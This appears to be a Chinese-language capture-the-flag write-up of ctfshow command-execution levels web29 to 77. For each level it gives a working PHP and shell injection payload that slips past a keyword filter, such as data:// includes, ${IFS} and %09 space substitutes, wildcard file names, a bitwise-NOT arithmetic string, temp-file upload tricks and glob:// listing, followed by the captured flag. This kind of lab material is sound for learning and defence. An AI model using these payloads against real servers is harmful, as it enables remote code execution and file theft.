ctfshow 命令执行(web29-77,118-124)更新中
web29
|
只过滤了flag和大小写
构造payload
?c=system("ls"); |
拿到flag
ctfshow{6d1da9c5-aa80-41c1-aca0-6dfb3ec8a7ea} |
web30
|
过滤了flag,system,php,大小写
system可用passthru或者echo(``)代替,
构造payload
?c=echo(`ls`); |
拿到flag
ctfshow{a14dacd0-b579-4d77-a64f-1ddc760722c1} |
web31
|
过滤了flag,system,php,cat,sort,shell,.,空格,‘,大小写
用%09(tab)代替空格,
构造payload
?c=echo(`ls`); |
拿到flag
ctfshow{7cca93ab-0233-48d6-9534-ed516600e091} |
web32
|
相比web31,更多过滤了echo,,;,(
尝试使用文件包含绕过
?c=include$_GET[b]&b=data://text/plain,<?php system("ls");?> |
得到flag
ctfshow{ee520f6e-ba0a-4c01-9411-05a02420baeb} |
web33
|
一招鲜,吃遍天
构造payload
?c=include$_GET[b]&b=data://text/plain,<?php system("ls");?> |
得到flag
ctfshow{078e0c80-b526-41ad-80a3-426b1faced5a} |
web34
|
多禁了个:,没影响,一招鲜,吃遍天
?c=include$_GET[b]&b=data://text/plain,<?php system("ls");?> |
得到flag
ctfshow{c6471ed6-6e2c-4103-8171-2d1d6298f9e3} |
web35
|
一招鲜,吃遍天
?c=include$_GET[b]&b=data://text/plian,<?= system("tac f*");?> |
得到flag
ctfshow{9802f18a-bb60-45b7-b3e2-e72894a4f1b7} |
web36
|
多禁用了数字,一招鲜吃遍天
?c=include$_GET[b]&b=data://text/plain,<?= system("ls");?> |
得到flag
ctfshow{ab182bac-0440-438a-9479-3a50e21354b6} |
web37
|
从这开始就跟文件包含很像了
构造payload
?c=data://text/plain,<php= system("tac f*");?> |
得到flag
ctfshow{25683191-dc1b-4628-8957-a54c4c633341} |
web38
|
过滤了php
构造payload
?c=data://text/plain,<?= system("tac f*");?> |
得到flag
ctfshow{1d7d8f52-2253-40b7-826c-06b8d6d88800} |
web39
|
照样能用
?c=data://text/plain,<?= system("tac f*");?> |
得到flag
ctfshow{a32ae679-0b72-47e4-b938-f04da301825c} |
web40
|
拿到题目,被过滤的东西有不少,仔细一看,之前能用的符号基本都被禁了,但自习一看还给留了一对(),禁用的是中文(),这就需要我们采用各种函数构造payload
这里先记住一个payload
?c=eval(next(reset(get_defined_vars()));&1=system("ls"); |
然后接着看这些函数的作用
eval()//代码执行 |
第二种方法,比较容易理解
?c=highlight_file(next(array_reverse(scandir(getcwd())))); |
分析为什么这么做
首先我们要看目录
使用
?c=print_r(scandir(getcwd())); |
我们得到
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) |
这时候,我们使用翻转数组的函数array_reverse,数组就会变成
Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . ) |
接下来就是读取[1]中的数据
使用next(),指向[1],再用highlight_file读取flag
但这个方法如果flag在中间,不好轻易得到就不好用了
得到flag
ctfshow{b93dd03b-4a96-4443-932b-c298d5ba0f28} |
web41
与或非绕过
|
没有禁用|,借助脚本
import re |
得到flag
ctfshow{fb643932-138c-459d-982c-1940774a9003} |
web42
|
开始了新的一种
自动带了个system();我们只需要给c传命令语句就行了,
但后面带了个>/dev/null 2>&1”,得想办法让他不影响语句
有很多种过滤方法,最普通的往后面加;
或者加||,%0a等
这里构造payload
?c=ls; |
得到flag
ctfshow{538f23e2-488b-4087-a142-61ae3509ccd7} |
web43
|
相比上题,把;cat过滤了
我们使用||或%0a结尾,
构造payload
?c=ls%0a |
得到flag
ctfshow{e634303d-c8d5-4c77-8d5f-cf7df77a5da5} |
web44
|
过滤了flag,用f*,fla?????代替
构造payload
?c=tac f*%0a |
得到flag
ctfshow{fe5488e7-8429-4bbe-a324-58979c9b688b} |
web45
|
过滤了空格,用%09或者&{IFS}代替,构造payload
?c=tac%09f*%0a |
得到flag
ctfshow{e9c6696b-a4f0-4e09-bedc-52ebf8dae4f4} |
web46
|
看似是过滤了数字,实际上并不影响%0a,%09的使用,因为是先编码后过滤,过滤了*,就用?
构造payload
?c=tac%09fla?????%0a |
得到flag
ctfshow{801863f2-cae8-4f4a-9f63-361f80e28622} |
web47
|
禁用了更多的函数
我们用不到
构造payload
?c=tac%09fla?????%0a |
得到flag
ctfshow{e37e71b9-7e6c-4b70-803a-72b828cb38ff} |
web48
|
没啥影响,还是上一题的payload
?c=tac%09fla?????%0a |
得到flag
ctfshow{b4d605ba-2643-4da1-ac1f-cd8db35f33fb} |
web49
|
没啥影响啊,还是接着这样做
构造payload
?c=tac%09fla?????%0a |
得到flag
ctfshow{034b29e1-fe7b-4366-8ea4-29340c5cc930} |
web50
|
把%09禁用了,我们使用<
构造payload
?c=tac<fl%27%27ag.php|| |
得到flag
ctfshow{aa42bf15-c3ea-4416-a1db-8fc128ee1a3f} |
web51
|
把tac给禁了,我们换一种,用nl
构造payload
?c=nl<fl%27%27ag.php|| |
在源代码中找到flag
ctfshow{1e67b744-e71e-4b6c-9b14-ccfe641388d8} |
或者用另一种函数rev,反向输出,最后将flag翻转一下即可
web52
|
把<给禁用了,但是没有禁$,那就用${IFS},
构造payload
?c=nl${IFS}fl%27%27ag.php|| |
结果发现
|
flag不在这个文件里
我们往上级的目录翻一翻
?c=ls${IFS}/|| |
在这里,我们看到了有一个flag文件夹,打开看看
?c=nl${IFS}/fla''g|| |
果然找到了flag
ctfshow{953e2696-21d2-4264-8511-f58e9a9f593c} |
web53
|
就改了一下,结尾不用再加||了,构造payload
?c=rev${IFS}fla????? |
得到翻转flag
}bccba0f9d27e-d499-0044-1d2d-40920210{wohsftc"=galf |
web54
|
完全意义上的过滤,真正的不能用这些东西,
用翻转读取
?c=rev${IFS}fla????? |
得到翻转flag
}d05c4c51b088-914b-4fc4-6c3d-a609a5e0{wohsftc"=galf |
web55
|
过滤了字母,我们采用临时文件上传漏洞
先写一个文件上传网页
<!DOCTYPE html> |
使用时将网址改一下,上传一个txt文件,抓包,添加内容
:8080 //添加端口 |
?c=.%20/???/????????[@-[] //POST /后添加 |
得到响应
HTTP/1.1 200 OK |
得到flag
web56
|
把字母和数字都过滤了,还是采用临时文件上传漏洞
HTTP/1.1 200 OK |
得到flag
web57
|
很贴心的告诉说flag在36.php,
system()里还给加了cat和.php,意思就是说让我们传一个c=36进去,但数字和字母都被禁用了,小数点也不能用,那就用$,(,),~构造出一个36
最后得到payload
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
在源代码里找到了flag
ctfshow{c2e0ce65-2ce8-4f98-857a-84e3e283f3e9} |
web58
|
从这开始,就变成post传参,过滤未知,第一题应该不难,
首先扫一下目录
c=print_r(scandir("/")); |
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => home [7] => lib [8] => media [9] => mnt [10] => opt [11] => proc [12] => root [13] => run [14] => sbin [15] => srv [16] => sys [17] => tmp [18] => usr [19] => var ) |
c=print_r(scandir(".")); |
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) |
发现了flag.php
读一下
c=show_source("flag.php"); |
得到flag
ctfshow{e096b4bc-0826-44e0-b101-1fb162547b16} |
web59
|
还是show_source,能用就一直梭
web60
|
web61
|
web62
<?php |
web63
|
web64
|
web65
|
web66
|
好好好,梭的这么多,终于不能用了,
试一下readfile,好好好,也不能用
还是先扫一下吧
c=print_r(scandir(".")); |
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) |
还是在flag.php的,我们试一下别的方法读取
试一下highlight_file
$flag="秀秀得了,这次不在这里"; |
6
再看看目录吧
c=print_r(scandir("/")); |
有个flag.txt
读一下
ctfshow{709406c7-988b-4659-b38b-a7fef725bb22} |
web67
用上一题一样能读出来
ctfshow{22fcdb01-0a07-4668-b20d-21fc0fe6480f} |
web68
|
上来就说highlight_file不给用,但毕竟放在flag.txt里
include就读出来了
c=include("flag.txt"); |
ctfshow{1e369e41-0b48-4b6d-832f-d8abe26ad96f} |
web69
梭
ctfshow{851b7aef-a568-41b7-9507-eadc62f68d57} |
web70
梭
ctfshow{e72faa3b-1330-4b97-bb61-ad73f970fc21} |
web71
先扫盘
???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? [".","..","????.???","?????.???"] 你要上天吗? |
看一下源代码
|
大概是说,有个清空过程,我们需要再eval后就结束,可以在结尾加一个exit();
构造payload
c=echo json_encode(scandir("."));exit(); |
拿到flag
c=include('/flag.txt');exit(); |
web72
扫盘时发现,”/“,被禁用,用一下glob伪协议
构造payload
?c=echo json_encode(scandir("glob:///*"));exit(); |
扫出了flag0.txt
include也无法包含”/“,就考虑一下脚本了
c=function ctfshow($cmd) { global $abc, $helper, $backtrace; |
很长的一串,我也看不懂,反正打进去就对了()
web73
比上题简单一点,能用以前的方法接着做
web74
换一下函数,不能用scandir了,用glob读
构造payload
c=echo json_encode(glob("*"));exit(); |
扫出来有flagx.txt
用include能读出来
web75-77
太玄学了这几题,大题就是说用sql语句,弱密码去读服务器里的flag文件